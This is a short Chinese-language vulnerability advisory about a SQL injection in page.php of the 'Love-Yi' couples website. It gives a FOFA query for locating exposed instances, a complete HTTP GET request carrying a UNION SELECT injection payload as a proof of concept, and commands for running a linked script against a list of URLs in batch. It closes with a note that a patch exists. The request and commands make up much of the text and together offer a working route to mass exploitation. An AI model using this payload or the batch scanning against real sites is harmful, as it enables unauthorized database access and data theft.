Love-Yi情侣网站 page SQL注入漏洞【附poc】

fofa

body="Style/toastr/toastr.js"

资产页面

一、漏洞简述

Love-Yi情侣网站是使用php语言开发，基于爱情主题的表白网站。个人也可进行DIY设计进行美观，适合哄女朋友开心。其接口page.php存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。(我TM深夜研究个漏洞，还能吃满嘴狗粮)

二、漏洞检测poc

GET /page.php?id=%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2Cmd5(123456)%2CNULL%2CNULL--%20- HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36Connection: close

‍

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/Love-Yi_page_SQLInject.py

批量检测:

python Love-Yi_page_SQLInject.py -f url.txt

单个url检测漏洞:

python Love-Yi_page_SQLInject.py -u url

四、修复

官方已更新补丁，请升级至最新版本。